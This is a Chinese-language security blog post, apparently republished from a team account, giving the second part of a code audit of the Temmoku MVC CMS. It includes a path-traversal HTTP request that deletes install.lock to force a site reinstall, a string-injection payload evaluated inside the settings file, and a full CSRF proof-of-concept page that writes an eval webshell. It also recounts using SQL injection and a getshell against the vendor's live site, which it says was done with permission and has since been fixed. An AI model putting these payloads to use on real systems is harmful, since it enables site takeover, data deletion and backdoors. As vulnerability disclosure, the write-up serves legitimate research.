本篇文章由团队成员提供:HeiHu577
本文章已在FreeBuf发表
目录:
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
RedCode Team 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
0x06 前台任意文件删除漏洞(可重装整站)
我们从了解框架整个结构时,发现检查验证是通过判断app/conf/install.lock来使网站是否安装的,如果存在任意文件删除漏洞,那么攻击者即可直接将目标点网站重装。
而删除文件的函数为unlink()函数,我们全局搜索一下,看一下前台哪些地方调用了unlink函数。
我们看到该成员方法有形式参数,那么我们在本类看一下哪里调用了img_move方法
直接将$_POST['idcard_zheng']传入进来,下面我们回来img_move方法看一下程序有没有做过滤之类的。
使用strpos以及stristr进行验证是否在tmp目录下,strpos函数返回字符串的位置,stristr返回/tmp的剩余部分,我们可以这样构造进行绕过:idcard_zheng=tmp/../../app/conf/install.lock
构造HTTP请求包:
POST /?temmoku_dirs=user/renzheng/index&type=idcard HTTP/1.1
Host: www.temmoku.com
Content-Type: application/x-www-form-urlencoded
Cookie:用户的COOKIE
Connection: close
Content-Length: 48
step=post&_type=1&idcard_zheng=tmp/../../app/conf/install.lock
运行结果:
再次请求index.php
成功进入安装向导
0x07 双引号解析漏洞导致的后台GETSHELL
我们之前了解MVC框架时,有了解到/app/conf/文件夹下的所有内容都会被包含,笔者在这里简单翻了翻看到./app/conf/setting.php文件中以双引号保存值
这些配置可以从后台进行配置。
在?temmoku_dirs=/admin/setting/article中我们可以看到配置项。
我们将它改为attachment${@phpinfo()},如图:
Phpinfo:
Phpinfo成功被双引号所解析。
0x08 CSRF钓鱼管理员直接GETSHELL
因为双引号解析漏洞在后台,同时只需要一个简单带有管理员COOKIE的HTTP请求就可以完成攻击演练。我们当然不想让它这么鸡肋的活着,同时我们在了解框架时,整个框架没有对CSRF进行防护。那么我们可以由此漏洞搭配CSRF来使漏洞更加易于利用。
笔者编写了如下POC进行测试:
$url = 'http://192.168.1.6/';
<html>
<head>
<title></title>
</head>
<body>
<form action="<?php echo $url;?>/index.php?temmoku_dirs=/admin/setting/article" method="post" id="form">
<input type="hidden" name="web[articletimedir]" value="Y/m/d/">
<input type="hidden" name="web[articledirclass]" value="1">
<input type="hidden" name="web[function_m]" value="1">
<input type="hidden" name="web[upfiles_catalog]" value="attachment${@eval($_POST[c])}">
<input type="hidden" name="web[images_get_down]" value="1">
<input type="hidden" name="web[content_del_link]" value="1">
<input type="hidden" name="web[content_link_white_list]" value="">
<input type="hidden" name="step" value="post">
</form>
<script type="text/javascript">
var oForm = document.getElementById('form');
oForm.submit();
window.location = "<?php echo $url;?>";
</script>
</body>
</html>
放置在攻击者的WEB服务器上,在第二行可以定义目标站点,然后构造URL使管理员点击。
当管理员在后台登录的状态下打开即可直接修改setting.php文件,将${@eval($_POST[c])写入文件中,攻击者可以连接index.php密码c进行管理webshell。
0x09 官网检测
代码审计完成后笔者发现官网就是使用的该系统,并开启了用户注册功能。联系上站长得到授权后笔者将漏洞详情写到本篇文章中进行分享。(现官网已修复)
我们代码审计过程中有挖掘到只需要前台正常用户权限就可以进行SQL注入的漏洞。笔者在官网中发现开启DEBUG模式,我们进行报错注入,看一下是否可以注入user()函数的信息。
读取后台账户密码进入后台
进入后台后:
使用我们后台的getshell方法
Getshell:
0x10 其他GETSHELL点
白盒审计虽然比较系统化,但与黑盒进行搭配才可以达到最完美的效果。
比如我们在后台随便浏览一下,如图:
我们就可以非常轻松的访问每个功能模块,对其fuzz的同时再次进行代码审计,可以达到出乎意料的效率。
原文始发于微信公众号(RedCode Team):审计|通读审计之天目MVC(附原创漏洞)下篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论